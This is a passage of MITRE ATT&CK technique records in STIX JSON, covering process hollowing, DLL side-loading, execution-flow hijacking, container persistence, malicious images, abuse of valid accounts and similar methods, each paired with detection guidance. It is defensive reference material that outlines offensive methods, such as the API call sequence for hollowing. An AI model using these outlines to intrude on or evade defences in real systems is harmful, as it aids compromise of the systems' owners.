"https://attack.mitre.org/techniques/T1601"}, {"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}], "modified": "2020-10-22T17:50:47.635Z", "name": "Modify System Image", "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.  (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2023-11-21T20:02:33.404Z", "name": "Hijack Execution Flow", "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "File: File Creation", "Module: Module Load", "Process: Process Creation", "Service: Service Metadata", "File: File Modification", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Application Control"], "type": "attack-pattern", "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "created": "2020-03-12T20:38:12.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574", "external_id": "T1574"}, {"source_name": "Autoruns for Windows", "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "created": "2020-03-19T21:27:32.820Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1027.005", "url": "https://attack.mitre.org/techniques/T1027/005"}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", "modified": "2022-04-28T16:07:48.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Indicator Removal from Tools", "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Application Log: Application Log Content"], "x_mitre_defense_bypassed": ["Anti-virus", "Host intrusion prevention systems", "Log analysis", "Signature-based detection"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS", "Containers"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Center for Threat-Informed Defense (CTID)", "Vishwas Manral, McAfee"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "type": "attack-pattern", "created": "2021-03-30T17:20:05.789Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1204.003", "url": "https://attack.mitre.org/techniques/T1204/003"}, {"source_name": "Summit Route Malicious AMIs", "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/", "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021."}, {"source_name": "Aqua Security Cloud Native Threat Report June 2021", "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation", "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}], "modified": "2021-08-26T16:42:35.318Z", "name": "Malicious Image", "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "Command: Command Execution", "Image: Image Creation", "Container: Container Start", "Container: Container Creation", "Instance: Instance Start", "Instance: Instance Creation"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-16T12:35:38.832Z", "name": "Container Service", "description": "Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nNote that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "Container: Container Creation"], "type": "attack-pattern", "id": "attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a", "created": "2024-02-15T13:41:46.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/005", "external_id": "T1543.005"}, {"source_name": "AppSecco Kubernetes Namespace Breakout 2020", "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.", "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"}, {"source_name": "Docker Systemd", "description": "Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024.", "url": "https://docs.docker.com/config/containers/start-containers-automatically/"}, {"source_name": "GTFOBins Docker", "description": "GTFOBins. (n.d.). docker. Retrieved February 15, 2024.", "url": "https://gtfobins.github.io/gtfobins/docker/"}, {"source_name": "Kubernetes Assigning Pods to Nodes", "description": "Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024.", "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/"}, {"source_name": "Kubernetes DaemonSet", "description": "Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"}, {"source_name": "Aquasec Kubernetes Attack 2023", "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.", "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"}, {"source_name": "AquaSec TeamTNT 2023", "description": "Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024.", "url": "https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign"}, {"source_name": "Podman Systemd", "description": "Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024.", "url": "https://www.redhat.com/sysadmin/podman-run-pods-systemd-services"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:51.631Z", "name": "Valid Accounts", "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_contributors": ["Syed Ummar Farooqh, McAfee", "Prasad Somasamudram, McAfee", "Sekhar Sarukkai, McAfee", "Jon Sternstein, Stern Security", "Yossi Weizman, Azure Defender Research Team", "Netskope", "Mark Wee", "Praetorian", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "2.6", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "User Account: User Account Authentication", "Logon Session: Logon Session Metadata"], "x_mitre_defense_bypassed": ["Firewall", "Anti-virus", "Host Intrusion Prevention Systems", "Network Intrusion Detection System", "Application Control", "System Access Controls"], "x_mitre_effective_permissions": ["User", "Administrator"], "x_mitre_permissions_required": ["User", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "created": "2017-05-31T21:31:00.645Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078", "external_id": "T1078"}, {"source_name": "volexity_0day_sophos_FW", "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"}, {"source_name": "CISA MFA PrintNightmare", "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"}, {"source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"}, {"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2023-02-28T22:28:35.202Z", "name": "Non-Standard Port", "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "created": "2020-03-14T18:18:32.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1571", "external_id": "T1571"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Symantec Elfin Mar 2019", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"}, {"source_name": "change_rdp_port_conti", "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved March 1, 2022.", "url": "https://twitter.com/TheDFIRReport/status/1498657772254240768"}, {"source_name": "Fortinet Agent Tesla April 2018", "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "type": "attack-pattern", "created": "2020-10-01T01:08:41.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1585.001", "url": "https://attack.mitre.org/techniques/T1585/001"}, {"source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"}, {"source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}], "modified": "2021-10-16T17:37:34.563Z", "name": "Social Media Accounts", "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Persona: Social Media"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", "type": "attack-pattern", "created": "2017-05-31T21:30:58.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1073", "url": "https://attack.mitre.org/techniques/T1073"}, {"external_id": "CAPEC-641", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/641.html"}, {"url": "https://msdn.microsoft.com/en-us/library/aa375365", "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.", "source_name": "MSDN Manifests"}, {"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", "source_name": "Stewart 2014"}], "modified": "2020-03-20T14:28:39.529Z", "name": "DLL Side-Loading", "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Anti-virus"], "x_mitre_is_subtechnique": false}, {"modified": "2023-08-11T21:37:00.009Z", "name": "Process Hollowing", "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Process: Process Modification", "Process: OS API Execution", "Process: Process Access"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "created": "2020-01-14T17:21:54.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/012", "external_id": "T1055.012"}, {"source_name": "Nviso Spoof Command Line 2020", "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.", "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"}, {"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}, {"source_name": "Leitch Hollowing", "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", "url": "http://www.autosectools.com/process-hollowing.pdf"}, {"source_name": "Mandiant Endpoint Evading 2019", "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.", "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"}], "object_marking_refs": 